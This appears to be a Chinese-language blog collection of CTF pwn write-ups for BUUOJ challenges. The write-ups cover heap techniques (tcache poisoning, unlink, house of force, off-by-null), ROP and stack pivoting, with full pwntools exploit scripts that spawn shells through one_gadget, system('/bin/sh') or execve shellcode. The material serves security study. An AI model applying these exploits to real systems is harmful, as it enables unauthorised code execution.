1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from  pwn import  *from  LibcSearcher import  LibcSearcher'amd64' ,os = 'linux' ,log_level = 'debug' )"./heapcreator" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,26372 )def  debug ():"b main" )def  add (size,content ):"Your choice :" ,"1" )"Size of Heap : " )str (size))"Content of heap:" )def  edit (idx,content ):"Your choice :" ,"2" )"Index :" )str (idx))"Content of heap : " )def  show (idx ):"Your choice :" ,"3" )"Index :" )str (idx))def  free (idx ):"Your choice :" ,"4" )"Index :" )str (idx))"free" ]0x18 ,'a' ) 0x10 ,'b' ) 0x10 ,'c' ) 0x10 ,"/bin/sh\x00" ) 0 ,'a' *0x18 +'\x81' )1 )0x70 ,'a' *0x40  + p64(0x8 ) + p64(free_got))2 )"Content : " )6 ).ljust(8 ,'\x00' ))hex (free))"free" ,free)"system" )+free-libc.dump("free" )2 ,p64(sys))3 )
六十二、sctf_2019_one_heap image-20210830160009616 
checksec一下,64位,保护全开
image-20210830163315917 
进入IDA,堆的菜单只有两种功能,申请和释放
image-20210830163404930 
申请的堆块不能大于0x7f,并且申请和释放都有次数限制(其中能申请0xf次,释放4次)。而且,堆块我们只能访问到当前申请出的堆块
image-20210830163542538 
释放堆块时,指针没有置0
image-20210830185924091 
image-20210830200649131 
image-20210830201741615 
连续释放两次大小为0x70的堆块,进入到tcache bin 中,然后根据一个字节未知进行爆破,使得堆块分配tcache_perthread_struct(就是开头0x250的那个堆块)上
image-20210830203528418 
把数值改为7,然后再把这个堆块释放,将会进入到unsorted bin中
image-20210830210232915 
image-20210830210216419 
fd,bk已经指向了libc中某个地址了,所以后面还是爆破一个字节,去让stdout吐出libc地址。然后因为tcache结构被改动很大,要先修复一下
后面其实就没有什么了,就是申请出堆块,因为我们把tcache_perthread_struct释放了,所以申请出的堆块都在上面,那么可以通过这个来填写出目标地址,然后就会进入到tcache bin中,接着再申请就能任意地址写。这边还要注意的就是还要用realloc调整一下rsp
然后这边说下,不知道是不是运气问题,爆破上千次都没打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from  pwn import  *"./sctf_2019_one_heap" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so" )"./libc-2.27.so" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so" )"LD_PRELOAD"  : libc.path})def  debug ():"b main" )def  add (size,content ):"Your choice:" ,"1" )"Input the size:" )str (size))"Input the content:" )def  free ():"Your choice:" ,"2" )''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints:   rsp & 0xf == 0   rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints:   [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' def  pwn (first,second ):0x70 ,'a' )0x70 ,p16((first << 8 ) | 0x10 ))0x70 ,p8(0x10 ))0x70 ,p64(0 ) * 4  + p64(0x07000000 ))0x40 , p64(0 ) * 5 )0x10 ,p64(0 ) + p16((second << 8 ) | 0x60 ))0x40 ,p64(0xfbad1800 ) + p64(0 ) * 3  + '\x00' )8 )'\x7f' ).ljust(8 ,'\x00' ))"leak_addr==>0x%x"  %leak_addr)0x3ed8b0 0x10a38c "__realloc_hook" ]"realloc" ]"realloc==>0x%x"  %realloc)"one_gadget==>0x%x"  %ogg)0x10 ,p64(0 ) + p64(realloc_hook))0x40 ,p64(ogg) + p64(realloc + 0x4 ))0x10 )try :"id" )"uid" , timeout=2 )"cat flag" )except :try :except :pass if  __name__ == "__main__" :0x1000 while  n > 0 :"counts: {}" .format (0x1000  - n))try :0x60 ,0x67 )except :pass "node4.buuoj.cn" ,28247 )1 
六十三、warmup image-20210831104431370 
常规checksec一下,32位,只开了NX
进入IDA,发现函数很少,而且都是调用系统调用号执行函数的。所以肯定是要执行到0xB的execve函数来getshell
image-20210831104803643 
首先,要先制造出/bin/sh\x00才行,所以先跳转到read上去,往.bss段上写/bin/sh\x00。仔细看,这边传递的read的参数,都是来自于栈上的,而且都是esp前面的地址存的值,所以其实我们就是按照平常的写法,返回地址覆盖为这里的地址,然后再写一个新的返回地址,后面跟上read的三个参数payload = 'a'*0x20+p32(read)+p32(start)+p32(0)+p32(bss)+p32(8)
然后返回到最初再次执行,因为执行完函数的返回值是存在eax中的,所以为了达成0xb,第二次执行read函数时,要输入0xb个数据,因为execve(/bin/sh,0,0),所以我们第二次的返回地址要直接返回到read函数传参(此时eax已经是0xb了,不能再执行0x804811D,不然eax的值将会被修改),因为执行完ret后,esp会加4,移动到我们溢出的p32(0),然后传参才会把/bin/sh地址传入到ebx中,而0x8048212这个地址,在于这个地址上的值必须是0,满足这个要求即可,这样才能满足后续传入的是两个0
image-20210831104312190 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  pwn import  *from  LibcSearcher import  *"./warmup" )0x80491bc 0x080480D8 0x0804811D '2016!' )'a' *0x20 +p32(read)+p32(start)+p32(0 )+p32(bss)+p32(8 )'/bin/sh\x00' )'a' *0x20 +p32(read)+p32(0x08048122 )+p32(0 )+p32(bss)+p32(0x8048212 )'/bin/sh\x00'  + 'a'  * 3   )
六十四、hitcontraining_unlink image-20210831153526197 
常规checksec一下,64位,开了NX,Canary
image-20210831154605863 
进入IDA,四个菜单功能都具备,同时还找到个后门函数,但是看路径,应该是用不了的,buu的flag就在根目录下的
image-20210831155631822 
漏洞点在于修改函数里面,对于修改的size没有检查,存在堆溢出
由于在输入后会加0截断,并且没开PIE,堆指针简单可寻,所以这题用unlink做。目标是劫持atoi的got,
image-20210831202645476 
这里是触发了unlink,下一个大小为0x80的堆块与我们伪造的大小为0x40的堆块合并放入unsorted bin 中
image-20210831203042925 
image-20210831203937694 
同时,指向chunk0的指针保存的地址换为了ptr - 0x18的值,所以,此时可以认为chunk0变成是在ptr - 0x18的地方了。所以此时再把堆指针改为函数got表地址,从而泄露libc地址
而刚好,此时又是atoi的got表地址,所以直接继续往里面写入system的地址即可,最后再输入/bin/sh\x00即可
image-20210831204445381 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./1" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"./libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,25062 )def  debug ():"b main" )def  add (size,content ):"Your choice:" ,"2" )"length of item name:" )str (size))"the name of item:" )def  edit (idx,content ):"Your choice:" ,"3" )"index of item:" )str (idx))"length of item name:" )str (len (content)))"the new name of the item:" )def  show ():"Your choice:" ,"1" )def  free (idx ):"Your choice:" ,"4" )"the index of item:" )str (idx))'atoi' ]0x00000000006020C8 0x40 ,'a' )0x80 ,'b' )0x80 ,'c' )0 ) + p64(0x41 ) 0x18 ) + p64(ptr - 0x10 ) 'a'  * 0x20  + p64(0x40 ) + p64(0x90 ) 0 ,fake_chunk)1 )0 ) * 2  + p64(0x40 ) + p64(atoi_got)0 ,payload)'0 : ' )6 ).ljust(8 ,'\x00' )) - libc.sym['atoi' ]hex (libc_base))'system' ] hex (system))0 ,p64(system))"Your choice:" ,"/bin/sh\x00" )
六十五、wustctf2020_closed 这题比较有意思,记录一下,考的是linux的基础知识
image-20210902152712612 
进入IDA,程序十分简单,甚至主函数已经运行了system(“/bin/sh”)了,但是注意这边执行了close(1)以及close(2)。这代表什么?代表关闭了linux里面的标准输出(1)和标准错误(2),所以即使已经getshell了,但是我们是看不到输出的,所以这时候输入exec 1>&0就可以让标准输出的文件描述符重定向为0,而0没被关闭,才能看到输出
image-20210902152420434 
image-20210902152447680 
六十六、ciscn_2019_n_7 image-20210904105152457 
常规checksec一下,64位,保护全开
image-20210904111520818 
进入IDA,分析程序,首先程序不存在释放功能,并且堆块只能生成一次,这直接断绝了劫持hook指针的做法
image-20210904111633970 
image-20210904111749218 
在add,edit函数中,我们可以直接修改程序中的堆块指针,也就是说,我们拥有了任意写的能力
image-20210904111836132 
其次在输入666后,程序会打印出puts的地址,也就是也拥有了libc地址,似乎一切都具备了?就差一个可以让我们直接写入one_gadget的地方。写在哪?这里介绍一个新的hook,exit_hook,在执行exit函数时,会执行到两个函数,分别是_dl_rtld_lock_recursive和_dl_rtld_unlock_recursive,其中一个劫持为one_gadget都行,并且这两个的偏移是固定的值
libc-2.23.so:
rtld_lock = libc_base + 0x5F0F48 
rtld_unlock = libc_base + 0x5F0F50 
 
image-20210904113624683 
刚好很巧,这边执行到exit时,也是把文件描述符1和2关闭了,看不见输出,所以跟上题一样的处理方式,exec 1>&0才能看到交互
image-20210904113504655 
成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./ciscn_2019_n_7" )"./libc-2.23.so" )"node4.buuoj.cn" ,28496 )def  debug ():"b main" )def  add (size,content ):"Your choice->" ,"1" )"Input string Length:" )str (size))"name:" )def  edit (name,content ):"Your choice->" ,"2" )"New Author name:" )"contents:" )def  show ():"Your choice->" ,"3" )def  exit ():"Your choice->" ,"4" )''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints:   rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints:   [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints:   [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' "Your choice->" ,"666" )"0x" )int (p.recv(12 ),16 ) - libc.sym['puts' ]"libc_base==>0x%x"  %libc_base)0xf1147 0x5F0F48 0x60 ,p64(rtld_lock) * 2 )2 ,p64(ogg))"exec 1>&0" )"ls" )
六十八、ciscn_2019_es_4 image-20210904121810292 
checksec一下,64位,PIE没开
image-20210904221627524 
image-20210904221644339 
image-20210904221657542 
首先漏洞点存在edit函数里面,offbynull,其次edit和show函数,都存在验证次数问题,并且验证的值保存在.bss上,没开PIE,也就是说,应该是unlink的题,把chunk改到.bss上,然后修改key值。然后版本是libc-2.27.so,存在tcache,所以在假chunk底下那个chunk要释放七个相同大小去填充tcache bin
image-20210904230122725 
unlink成功,把chunk的指针设为.bss上的值
image-20210904231117920 
image-20210904231321497 
通过unlink设置的指针,把前面两个修改为同一个堆地址,借此造成double free,然后把堆块分配到key上,修改key值,让show功能恢复使用,然后通过show功能泄露libc地址。然后再次使用unlink设置好的指针,把前面的堆块指针改为指向free_hook,然后通过edit函数,往里面写入system函数,之后free一个写有/bin/sh的堆块即可
image-20210904234122710 
然后,远程打时,堆块地址是只有图中那么长的,要注意一下。然后就是我们最后往free_hook写入system的那个堆块,必须要在这之前是被申请出来的,具体原因我也不知道为什么,我做的时候一直卡在这最后一步,没想通,然后是对照别人wp才改了这个点,然后通了
image-20210905095712141 
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from  pwn import  *"./ciscn_2019_es_4" )"./libc-2.27.so" )"node4.buuoj.cn" ,29483 )def  debug ():"b main" )def  add (idx,size,content ):"4.show\n" ,'1' )"index:\n" )str (idx))"size:\n" )str (size))"gift: " )int (p.recv(7 ),16 )"content:\n" )return  addrdef  edit (idx,content ):"4.show\n" ,'3' )"index:\n" )str (idx))"content:\n" )def  show (idx ):"4.show\n" ,'4' )"index:\n" )str (idx))def  free (idx ):"4.show\n" ,'2' )"index:\n" )str (idx))0x602118 0x00000000006022B8 'free' ]for  i in  range (7 ):0xf0 ,'\x07'  * 0xf0 )7 ,0x88 ,'a' )"heap_addr==>0x%x"  %heap_addr)8 , 0xf0 , "b" )9 , 0x80 , "c" )10 , 0x80 , "/bin/sh\x00" )for  i in  range  (7 ):0 ) + p64(0x81 ) 0x18 ) + p64(ptr - 0x10 )'a'  * 0x60  + p64(0x80 )7 ,fake_chunk)8 )0x190 ) * 2  + p64(free_got) + p64(ptr - 0x18 )7 ,payload)4 )5 ) 0 ,0x80 ,p64(key))1 ,0x80 ,'a' )5 ,0x80 ,p32(5 ) + p32(5 ))6 )6 ).ljust(8 ,'\x00' )) - libc.sym['free' ]"libc_base==>0x%x"  %libc_base)'__free_hook' ]'system' ]3  + p64(ptr - 0x18 )7 ,payload)5 ,p64(system))10 )
六十九、lctf2016_pwn200 image-20210905105020439 
常规checksec一下,64位,保护几乎都没开启
image-20210905105059956 
进入IDA,进入的第一个函数就存在问题,这边最长输入0x30的字符,但是v2距离rbp的距离也是0x30,所以可以借此打印出rbp的值,得到栈上地址,那么应该就是ret2shellcode了
image-20210905105342837 
image-20210905105242460 
再往下看,这边存在任意地址写
image-20210905110435529 
image-20210905110553881 
计算一下偏移
然后通过任意地址写往free@got表里写入前面算好的shellcode的地址,再执行到后面程序中的free函数,然后跳转到写好的shellcode执行
image-20210905112409521 
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from  pwn import *from  LibcSearcher import *'node4.buuoj.cn' ,25517 )'./pwn200' )'debug' ,arch='amd64' ,os='linux' )'free' ]"who are u?\n" )0x30 ,'a' ))'\x7f' )[-6 :].ljust(8 ,'\x00' )) - 80 hex (leak_addr))"give me your id ~~?" )'3' )"give me money~\n" )'a'  * 0x30  + p64(free_got)'choice :' )'2' )
七十、pwnable_simple_login image-20210910105207938 
常规checksec,开了NX、Canary。但是到IDA里面发现,没看到Canary的踪迹
image-20210910105257032 
IDA里面有后门函数
image-20210910105318680 
base64解码函数里面有些复杂,看的很难受,但是我们可以通过程序逻辑进行判断,返回的应该是长度,因为底下进行了比大小;而s是我们输入的值没什么好说,就是要输入一个base64的值让他再解码成正常值;v5则应该是解码后的值,因为底下把v5的值写入了input里面。但是如果是要以程序逻辑执行到后门函数的话,我也不知道行不行,反正我是不会的。想的肯定是有没有哪里有溢出,跳到后门函数就行了。
image-20210910105421986 
找了找,在auth函数里面,memcpy可以溢出了,因为size最大可以为12,而v4距离返回值偏移也为12,似乎不够,只能覆盖到ebp,不过可以发现,在这个函数里面执行一次leave ret,然后这个函数退出了,到main函数,刚好又将会继续执行leave ret。所以其实就是一种栈迁移,把栈迁移到.bss上去,然后执行后门函数
1 2 3 4 5 6 7 8 from  pwn import  * "node4.buuoj.cn" ,25575 )0x08049284 0x0811EB40 "Authenticate : " )'a'  * 4  + p32(shell) + p32(input_addr)'base64' ))
七十一、gyctf_2020_force image-20210916151101226 
常规checksec一下,64位保护全开
image-20210916153042695 
image-20210916153101689 
进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!根据题目提示想到house of force
image-20210916163309864 
因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址
image-20210916163532720 
image-20210916205725583 
image-20210916205619022 
然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。修改完-1,因为使用malloc申请堆块时验证size的类型是无符号数,所以我们可以分配很大的堆块也仍然可以通过验证,借此直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可
然后呢。offse至少t减0x30,因为我们申请的堆块是有堆头,并且是要覆盖两个hook
image-20210916201004797 
image-20210916201128484 
最后的调整我有些理解不了,明明指向不是0,但最后却能getshell,只能说明应该是在最后执行完malloc后,rsp又被调整了吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./gyctf_2020_force" )"./libc-2.23.so" )"node4.buuoj.cn" ,28894 )def  debug ():"b main" )def  add (size,content ):"2:puts\n" ,'1' )"size\n" )str (size))"0x" )int (p.recv(12 ),16 )"content\n" )return  addrdef  show (idx ):"2:puts\n" ,'2' )"index:" )str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints:   rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints:   [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints:   [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' 0x200000 ,'a' ) + 0x200ff0 "libc_base==>0x%x"  %libc_base)'__malloc_hook' ]0x4527a '__libc_realloc' ]0x18 ,'b' *0x10  + p64(0 ) + p64(0xFFFFFFFFFFFFFFFF )) + 0x10  "top_chunk==>0x%x"  %top_chunk)0x33 ,'a' )0x10 ,'a' *0x8  + p64(ogg) + p64(realloc + 0x10 ))"2:puts\n" ,'1' )"size\n" )str (0x10 ))
七十二、pwnable_hacknote image-20210923153219237 
常规checksec,32位,没开全RELRO,PIE。猜测可以劫持got表
image-20210923153712466 
image-20210923153919700 
在申请堆块功能里,发现一个有意思的东西,把一个调用puts的函数的地址赋值给了堆块内容,猜测打印功能就是直接使用这个函数指针,那么就可以试着修改这个指针,改为system,再把堆块内容修改为/bin/sh
image-20210923153939335 
果然,直接调用了函数指针
image-20210923153908205 
释放功能,指针没有置零,存在UAF
image-20210923193256099 
第一步是获取libc,我的做法是借着释放unsorted chunk产生libc,然后再申请回来,覆盖fd指针为aaaa作为定位,然后将bk指针打印出来
1 2 3 4 5 6 7 8 9 10 add(0x80 ,'aaaa' ) 0x80 ,";sh\x00" ) 0 )0x80 ,'aaaa' ) 2 )'aaaa' )4 )) - 0x1B37B0 "libc_base==>0x%x"  %libc_base)'system' ]hex (system))
image-20210923193522763 
然后就是修改函数指针,把函数指针改成指向system的,通过连续释放两个堆块,然后再申请回来(大小是0x8的),那么就会有一个堆块是之前可以调用show功能的堆块,修改这个堆块的内容为system地址,以及”;sh\x00”(或是”||sh”),因为上图传入的参数其实是函数指针的地址,所以要用;或者||才能也执行到sh而获取到shell,然后借着UAF执行show功能getshell
最后,我换了网上的做法,我前面使用unsorted chunk泄露libc可能远程有点不同,导致没能打通,只有本地通了
image-20210924081921009 
然后我去实验了一下,发现远程的地址比本地的多了0x300,我打了五六次都是差0x300,之前做buu的堆题获取libc的方式,我已经记不清了,因为buu上的libc是被动过的libc,所以我本地打的时候加载的并不是和buu一模一样的libc,可能这就是因为小版本之间的差异吧,不过根据这次来看,版本之间的小差异,对算libc偏移造成的影响应该是比较小的,前后多试几个0xn00,说不定能行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from  pwn import  *"./hacknote" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" )"./libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" , 26554 )def  debug ():"b main" )def  add (size,content ):"Your choice :" ,'1' )"Note size :" )str (size))"Content :" )def  show (idx ):"Your choice :" ,'3' )"Index :" )str (idx))def  free (idx ):"Your choice :" ,'2' )"Index :" )str (idx))'read' ]0x804862b 0x18 ,"aaaa" )0x18 ,"bbbb" )0 )1 )0x8 , p32(puts) + p32(read_got))0 )4 ))"read" ] + libc.symbols["system" ]hex (system))2 )8 , p32(system) + ";sh\x00" )0 )
七十三、ciscn_2019_final_4 image-20211007190521092 
checksec一下,64位,没开PIE
image-20211007191435082 
delete函数里面存在UAF
image-20211007191927917 
禁用了execve,所以得要rop读取flag
image-20211007192957739 
image-20211007193057775 
似乎无法调试这题,去百度了一下https://blog.csdn.net/seaaseesa/article/details/105855306,原来前面的代码都是为了让我们无法调试的。`ptrace`  提供了一种机制使得父进程可以观察和控制子进程的执行过程。父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACE_TRACEME 为参数。
image-20211007193646167 
image-20211007193755639 
所以调试的子进程已经被占用,导致我们无法再生成一个,所以要让这段程序失效,根据师傅的做法是修改汇编代码为jmp $+0x9E,直接跳转到后面的函数去执行,从而避免占用子进程
image-20211007194639451 
用keypatch这样改不了。。。
image-20211007195234222 
image-20211007195506179 
image-20211007195609719 
image-20211007195846918 
所以模仿师傅的做法,修改机器码,把对应的机器码修改为上述的e999000000即可,然后就能调试了。
然后说下思路,大方向是orw读取flag,网上师傅的wp是利用前面给的栈地址进行伪造一个堆头,让后续的堆块可以分配过去控制返回地址(并且栈地址还得先要泄露出来),但是因为程序是个死循环,所以还要劫持里面的函数的返回地址,让程序真正的退出,才能去执行布置的rop。我觉得有点麻烦了,不如使用劫持malloc_hook为setcontext + 53,不用劫持这么多的。
好吧,我是沙比,忘了malloc的第一个参数是传入的size,兴冲冲要读flag,看到gdb里面rdi值是0xd0,人傻了,这题本来的做法太麻烦了,我不做了,溜了溜了
那就总结一下思路吧,防止以后比赛遇到了,也能有印象顺着做,慢慢调试
首先,反调试,可以选择修改ida里面的汇编指令,让反调试的程序不被执行到,从而可以调试。而机器指令可以用pwntools得到
其次,如果可以输入栈的内容,在里面布置堆头,由此推广,在可以输入的地方都可以布置出堆头,让我们可以通过size检查,。当然这仅仅是2.23的版本,之后的版本都不用检查size的。当然布置完堆头就要获得堆头对应的地址
然后,就是environ存着一个栈地址(虽然我本来就知道,当做是复习吧)。布置rop时长度不够写,可以先执行read函数,加长可写的长度
最后,如果程序不退出,可以修改某个函数的返回地址,我们让程序执行到返回地址,执行我们布置好的rop
over!
 
留下个错误脚本,跑路!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'info' )"./ciscn_final_4" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})def  debug ():"b *0x0000000000400B2F" )def  add (size,content ):">> " ,'1' )"size?" )str (size))"content?" )def  show (idx ):">> " ,'3' )"index ?\n" )str (idx))def  free (idx ):">> " ,'2' )"index ?" )str (idx))"what is your name?" )'sc' )0x80 ,'a' ) 0x60 ,'b' ) 0x60 ,'c' ) 0 )0x80 ,'a' *8 ) 0 )'a' *0x8 )6 ).ljust(8 ,'\x00' )) - 0x3c4b78  "libc_base==>0x%x"  %libc_base)'__malloc_hook' ]'setcontext' ] + 53 1 )2 )1 )2 )6 ).ljust(8 ,'\x00' )) - 0x90 "heap_base==>0x%x"  %heap_base)0x110 next (libc.search(asm("syscall\nret" ))) + libc_basenext (libc.search(asm('pop rdi\nret' ))) + libc_basenext (libc.search(asm('pop rsi\nret' ))) + libc_basenext (libc.search(asm('pop rdx\nret' ))) + libc_basenext (libc.search(asm('pop rax\nret' ))) + libc_base0x00000417  + libc_base 'read' ] + libc_base 'write' ] + libc_base0 ) + p64(pop_rax) + p64(2 ) + p64(syscall)3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50 ) + p64(read)1 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx)+ p64(0x50 ) + p64(write)0xb0 ,p64(0 )*18  + p64(heap_base + 0x240 ) + p64(ret)) 0xf8 ,rop) 0x60 ,p64(mlh - 0x23 ))0x60 ,'./flag\x00' )0x60 ,'b' )0x60 ,p8(0 )*3  + p64(0 )*2  + p64(setcontext))4 )">> " ,'1' )"size?" )str (0xb0 ))
七十四、sctf_2019_easy_heap image-20211024164932819 
漏洞点在于输入函数,存在offbynull,因此构造overlap
这题问题点在于构造overlap时,要进行合并的头堆块和尾堆块中间要夹着至少两个堆块(一个堆块会报错,刚开始我就一直卡着)。
然后对于libc的利用,因为unsorted bin上的libc地址距离malloc_hook地址很接近,只相差一个字节的内容,所以在制造了overlap后,申请堆块时注意,让被覆盖的fd指针上被写入libc地址,然后修改一字节内容即可。这样程序即是没有打印函数也无关紧要。
然后只要把堆块申请到mmap的地址上,然后把地址写入hook函数执行shellcode即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./sctf_2019_easy_heap" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" )"./libc-2.27.so" )"/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" ,27234 )def  debug ():"b main" )def  add (size ):">> " ,'1' )"Size: " )str (size))"Address 0x" )return  int (p.recv(12 ),16 )def  edit (idx,content ):">> " ,'3' )"Index: " )str (idx))"Content: " )def  free (idx ):">> " ,'2' )"Index: " )str (idx))"Mmap: 0x" )int (p.recv(10 ),16 )"shell_addr==>0x%x"  %shell_addr)0x410 )0x28 )0x18 )0x4f0 )0x18 )2 ,'a' *0x10  + p64(0x470 ))0 )3 )1 )2 )0x440 )0x510 )0 ,'a' *0x418  + p64(0x31 ) + p64(shell_addr) + '\n' )0x28 )0x28 )'''     mov rbx, 0x68732f6e69622f  # 0x68732f6e69622f --> hs/nib/  little endian     push rbx     push rsp      pop rdi     xor esi, esi               # rsi低32位     xor edx, edx               # rdx低32位     push 0x3b     pop rax     syscall 	'''    )3 ,shellcode + '\n' )1 , '\x30'  + '\n' )0x18 )0x18 )6 ,p64(shell_addr) + '\n' )">> " ,'1' )"Size: " )str (0x50 ))
七十五、hitcon_2018_children_tcache image-20211030181121619 
常规checksec,保护全开
image-20211030181304288 
漏洞点在于申请功能里面的strcpy这个函数,把你内容复制过去时会自动在末尾加一个’\x00’,所以当填满数据时,造成了offbynull漏洞。
image-20211030181437290 
这题特殊在释放函数会先对堆块的内容填入你写入 size 的大小的垃圾数据,这个是你写入的size,这个很重要
其次就是没有写功能,所以只能依赖于申请功能里面附带的写数据来实现写入。
利用:
    因为是offbynull漏洞,那目的一定是要制造出堆块重叠的。泄露libc因为有着strcpy函数,所以会多个’\x00’截断问题,所以只能在制造出overlap时才能打印出libc地址。那么所有重心都在制造出overlap
这边要注意,因为是glibc-2.27版本,所以堆块是要申请入0x4f8这样的,不会被放入tcache里面,才能实现合并。然后就是pre_size位置的填充一定要把那个八个字节的内容都要填满才行
image-20211030181946581 
这样写,才能溢出一个’\x00’
然后我们就要去修正前面为了占位置的垃圾的数据了,这边我用的是a这个字符。清空是用了前面强调的delete填充垃圾数据是根据我们申请堆块时候写进去的size填充的,所以如果我们依次减少一个字节申请数量,然后再填满我们申请的大小,借用strcpy溢出的’\x00’来逐个去清空前面为了修改pre_inuse位而填入的a
image-20211030182245802 
image-20211030182305126 
image-20211030182359347 
最后就能全部清零,成功伪造出pre_inuse,后面就是常规的构造overlap,最后把one_gadget写入malloc_hook里面getshell
image-20211030182527290 
